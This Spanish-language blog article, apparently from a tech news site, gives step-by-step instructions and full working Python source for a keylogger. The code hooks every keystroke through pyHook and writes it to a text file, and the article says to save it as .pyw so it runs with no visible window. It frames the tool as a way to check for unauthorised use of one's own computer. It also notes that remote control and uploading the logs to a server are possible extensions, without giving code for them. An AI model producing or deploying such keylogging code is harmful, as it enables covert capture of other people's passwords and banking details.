Cada poco tiempo podemos ver cómo los piratas informáticos lanzan
nuevas herramientas maliciosas, malware, cada vez más complejas que,
además de pasar desapercibidas, oculten en su interior la mayor cantidad
de funciones con las que poder sacar el mayor provecho a la infección
de la víctima. Sin embargo, crear una simple herramienta maliciosa de
prueba no tiene por qué ser tan complicado, y es que, por ejemplo, crear
un simple keylogger puede ser tan sencillo como os vamos a mostrar a
continuación.
Para los usuarios que no lo conozcan, un Keylogger
es un tipo de malware diseñado para registrar todas las pulsaciones que
se realizan en el ordenador. Estas arcaicas herramientas maliciosas
guardan en un registro todas estas pulsaciones con el fin de que el
usuario inicie sesión en alguna página, o introduzca algún dato bancario
de manera que el Keylogger lo registre y el pirata informático pudiera
hacerse con él.
Aunque utilizar estas herramientas de forma remota si es necesaria
cierta complejidad, si queremos crear un keylogger para utilizarlo
localmente en nuestro ordenador y guardar todas las pulsaciones (por
ejemplo, para asegurarnos de que nadie utiliza nuestro equipo sin
permiso), entonces solo nos llevará un par de minutos tenerlo en
funcionamiento.
Cómo crear nuestro propio keylogger local
Para crear esta herramienta, lo único que debemos hacer es abrir el bloc de notas en nuestro Windows
(o cualquier otro editor de texto plano, como Microsoft Visual Studio
Code o el propio editor de Python) e introducir en un nuevo documento el
siguiente código:
2 | import pyHook, pythoncom, sys, logging |
3 | # feel free to set the file_log to a different file name/location |
5 | file_log = 'keyloggeroutput.txt' |
7 | def OnKeyboardEvent(event): |
8 | logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') |
10 | logging.log(10,chr(event.Ascii)) |
12 | hooks_manager = pyHook.HookManager() |
13 | hooks_manager.KeyDown = OnKeyboardEvent |
14 | hooks_manager.HookKeyboard() |
15 | pythoncom.PumpMessages() |
Una vez creado este simple documento, lo único que debemos hacer es guardarlo con la extensión “pyw” (por ejemplo, keylogger.pyw)
y ya habremos creado un simple keylogger, escrito en Python, listo para
registrar todas las pulsaciones de nuestro teclado y guardarlas en un
fichero independiente.
Antes de continuar, si no tenemos
Python 2.7 instalado en nuestro ordenador, debemos descargarlo e instalarlo
desde el siguiente enlace. También debemos instalar
PyHook y
Pywin32 ya que, de lo contrario, no funcionará el script.
Una vez tenemos todo listo, ya podemos ejecutar nuestro script “keylogger.pyw” haciendo simplemente doble clic sobre él. Automáticamente ya empezará a registrar todas nuestras pulsaciones.
Cuando queramos finalizarlo, debemos abrir el administrador de tareas
de Windows y localizar el proceso de Python para finalizarlo a la
fuerza.
Una vez finalizado el proceso del keylogger, podemos buscar el fichero “keyloggeroutput.txt” que estará en el mismo directorio que el keylogger y, al abrirlo, podremos ver cómo ha registrado todas estas pulsaciones.
Como podemos ver, este es un script demasiado simple, pero totalmente
funcional para tener controladas las pulsaciones de un ordenador local.
Si queremos algo más avanzado, ya es necesario tener más conocimientos
para, por ejemplo, poder controlarlo de forma remota o hacer que se
conecte a un servidor donde suba el fichero con todas las pulsaciones.
Autor: Rubén Velasco
0 Comentarios